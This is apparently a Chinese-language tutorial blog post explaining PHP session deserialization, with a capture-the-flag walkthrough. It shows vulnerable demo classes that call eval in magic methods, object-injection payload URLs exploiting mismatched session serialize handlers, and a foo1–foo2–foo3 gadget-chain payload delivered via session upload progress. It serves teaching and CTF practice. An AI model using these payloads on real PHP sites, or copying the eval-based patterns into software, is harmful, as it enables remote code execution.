PHP 中 SESSION 反序列化機制

簡介

在php.ini中存在三項配置項：

PHP

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session.save_path="" --設置session的存儲路徑

session.save_handler="" --設定用戶自定義存儲函數，如果想使用PHP內置會話存儲機制之外的可以使用本函數(數據庫等方式)

session.auto_start boolen --指定會話模塊是否在請求開始時啟動一個會話,默認為0不啟動

session.serialize_handler string --定義用來序列化/反序列化的處理器名字。默認使用php

以上的選項就是與PHP中的Session存儲和序列話存儲有關的選項。

在使用xampp組件安裝中，上述的配置項的設置如下：

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session.save_path="D:\\xampp\tmp"表明所有的session文件都是存儲在xampp/tmp下

session.save_handler=files 表明session是以文件的方式來進行存儲的

session.auto_start=0表明默認不啟動session

session.serialize_handler=php 表明session的默認序列話引擎使用的是php序列話引擎

在上述的配置中，session.serialize_handler是用來設置session的序列話引擎的，除了默認的PHP引擎之外，還存在其他引擎，不同的引擎所對應的session的存儲方式不相同。

• php_binary:存儲方式是，鍵名的長度對應的ASCII字符+鍵名+經過serialize()函數序列化處理的值
• php:存儲方式是，鍵名+豎線+經過serialize()函數序列處理的值
• php_serialize(php>5.5.4):存儲方式是，經過serialize()函數序列化處理的值

在PHP中默認使用的是PHP引擎，如果要修改為其他的引擎，只需要添加代碼ini_set('session.serialize_handler', '需要設置的引擎');。示例代碼如下：

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ini_set('session.serialize_handler', 'php_serialize');

session_start();

// do something

存儲機制

php中的session中的內容並不是放在內存中的，而是以文件的方式來存儲的，存儲方式就是由配置項session.save_handler來進行確定的，默認是以文件的方式存儲。

存儲的文件是以sess_sessionid來進行命名的，文件的內容就是session值的序列話之後的內容。

假設我們的環境是xampp，那麼默認配置如上所述。

在默認配置情況下：

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session_start()

$_SESSION['name'] = 'spoock';

var_dump();

?>

最後的session的存儲和顯示如下：

可以看到PHPSESSID的值是jo86ud4jfvu81mbg28sl2s56c2，而在xampp/tmp下存儲的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2，文件的內容是name|s:6:"spoock";。name是鍵值，s:6:"spoock";是serialize("spoock")的結果。

在php_serialize引擎下：

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ini_set('session.serialize_handler', 'php_serialize');

session_start();

$_SESSION['name'] = 'spoock';

var_dump();

?>

SESSION文件的內容是a:1:{s:4:"name";s:6:"spoock";}。a:1是使用php_serialize進行序列話都會加上。同時使用php_serialize會將session中的key和value都會進行序列化。

在php_binary引擎下：

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ini_set('session.serialize_handler', 'php_binary');

session_start();

$_SESSION['name'] = 'spoock';

var_dump();

?>

SESSION文件的內容是names:6:"spoock";。由於name的長度是4，4在ASCII表中對應的就是EOT。根據php_binary的存儲規則，最後就是names:6:"spoock";。(突然發現ASCII的值為4的字符無法在網頁上面顯示，這個大家自行去查ASCII表吧)

序列化簡單利用

test.php

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class syclover{

var $func="";

function __construct() {

$this->func = "phpinfo()";

}

function __wakeup(){

eval($this->func);

}

}

unserialize($_GET['a']);

?>

在11行對傳入的參數進行了序列化。我們可以通過傳入一個特定的字符串，反序列化為syclover的一個示例，那麼就可以執行eval()方法。我們訪問localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}。那麼反序列化得到的內容是:

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object(syclover)[1]

public 'func' => string 'echo "spoock";' (length=14)

最後頁面輸出的就是spoock，說明最後執行了我們定義的echo "spoock";方法。

這就是一個簡單的序列化的漏洞的演示

PHP Session中的序列化危害

PHP中的Session的實現是沒有的問題，危害主要是由於程序員的Session使用不當而引起的。

如果在PHP在反序列化存儲的$_SESSION數據時使用的引擎和序列化使用的引擎不一樣，會導致數據無法正確第反序列化。通過精心構造的數據包，就可以繞過程序的驗證或者是執行一些系統的方法。例如:

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$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';

上述的$_SESSION的數據使用php_serialize，那麼最後的存儲的內容就是a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}。

但是我們在進行讀取的時候，選擇的是php，那麼最後讀取的內容是:

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array (size=1)

'a:1:{s:6:"spoock";s:24:"' =>

object(__PHP_Incomplete_Class)[1]

public '__PHP_Incomplete_Class_Name' => string 'PeopleClass'(length=11)

這是因為當使用php引擎的時候，php引擎會以|作為作為key和value的分隔符，那麼就會將a:1:{s:6:"spoock";s:24:"作為SESSION的key，將O:11:"PeopleClass":0:{}作為value，然後進行反序列化，最後就會得到PeopleClas這個類。

這種由於序列話化和反序列化所使用的不一樣的引擎就是造成PHP Session序列話漏洞的原因。

實際利用

存在s1.php和us2.php，2個文件所使用的SESSION的引擎不一樣，就形成了一個漏洞、

s1.php，使用php_serialize來處理session

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ini_set('session.serialize_handler', 'php_serialize');

session_start();

$_SESSION["spoock"]=$_GET["a"];

us2.php,使用php來處理session

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ini_set('session.serialize_handler', 'php');

session_start();

class lemon {

var $hi;

function __construct(){

$this->hi = 'phpinfo();';

}

function __destruct() {

eval($this->hi);

}

}

當訪問s1.php時，提交如下的數據：

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localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

此時傳入的數據會按照

此時訪問us2.php時，頁面輸出，spoock成功執行了我們構造的函數。因為在訪問us2.php時，程序會按照php來反序列化SESSION中的數據，此時就會反序列化偽造的數據，就會實例化lemon對象，最後就會執行析構函數中的eval()方法。

CTF

在安恆杯中的一道題目就考察了這個知識點。題目中的關鍵代碼如下：

class.php

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highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));

//show_source(__FILE__);

class foo1{

public $varr;

function __construct(){

$this->varr = "index.php";

}

function __destruct(){

if(file_exists($this->varr)){

echo "
文件".$this->varr."存在
";

}

echo "
這是foo1的析構函數
";

}

}

class foo2{

public $varr;

public $obj;

function __construct(){

$this->varr = '1234567890';

$this->obj = null;

}

function __toString(){

$this->obj->execute();

return $this->varr;

}

function __desctuct(){

echo "
這是foo2的析構函數
";

}

}

class foo3{

public $varr;

function execute(){

eval($this->varr);

}

function __desctuct(){

echo "
這是foo3的析構函數
";

}

}

?>

index.php

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ini_set('session.serialize_handler', 'php');

require("./class.php");

session_start();

$obj = new foo1();

$obj->varr = "phpinfo.php";

?>

通過代碼發現，我們最終是要通過foo3中的execute來執行我們自定義的函數。

那麼我們首先在本地搭建環境，構造我們需要執行的自定義的函數。如下：

myindex.php

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class foo3{

public $varr='echo "spoock";';

function execute(){

eval($this->varr);

}

}

class foo2{

public $varr;

public $obj;

function __construct(){

$this->varr = '1234567890';

$this->obj = new foo3();

}

function __toString(){

$this->obj->execute();

return $this->varr;

}

}

class foo1{

public $varr;

function __construct(){

$this->varr = new foo2();

}

}

$obj = new foo1();

print_r(serialize($obj));

?>

在foo1中的構造函數中定義$varr的值為foo2的實例，在foo2中定義$obj為foo3的實例，在foo3中定義$varr的值為echo "spoock"。最終得到的序列話的值是

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O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}

這樣當上面的序列話的值寫入到服務器端，然後再訪問服務器的index.php，最終就會執行我們預先定義的echo "spoock";的方法了。

寫入的方式主要是利用PHP中Session Upload Progress來進行設置，具體為，在上傳文件時，如果POST一個名為PHP_SESSION_UPLOAD_PROGRESS的變量，就可以將filename的值賦值到session中，上傳的頁面的寫法如下：

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最後就會將文件名寫入到session中，具體的實現細節可以參考PHP手冊。

那麼最終寫入的文件名是|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:1:"1";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:12:"var_dump(1);";}}}。注意與本地反序列化不一樣的地方是要在最前方加上|

但是我在進行本地測試的時候，發現無法實現安恆這道題目所實現的效果，但是最終的原理是一樣的。

總結

通過對PHP中的SESSION的分析，對PHP中的SESSION的實現原理有了更加深刻的認識。這個PHP的SESSION問題也是一個很好的問題。上述的這篇文章不僅使大家PHP中的SESSION的序列化漏洞有一個認識，也有助於程序員加強在PHP中的SESSION機制的理解。

參考

PHP Session 序列化及反序列化處理器：http://drops.wooyun.org/tips/3909

PHP序列化與反序列化解讀：http://www.freebuf.com/articles/web/90837.html

php序列化：http://www.cnblogs.com/iamstudy/articles/php_serialize_problem.html

Joomla遠程代碼執行漏洞分析（總結）：https://www.leavesongs.com/?keyword=Joomla

web3 session反序列化：http://www.math1as.com/index.php/archives/227/

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關鍵字: 技術 編程語言 PHP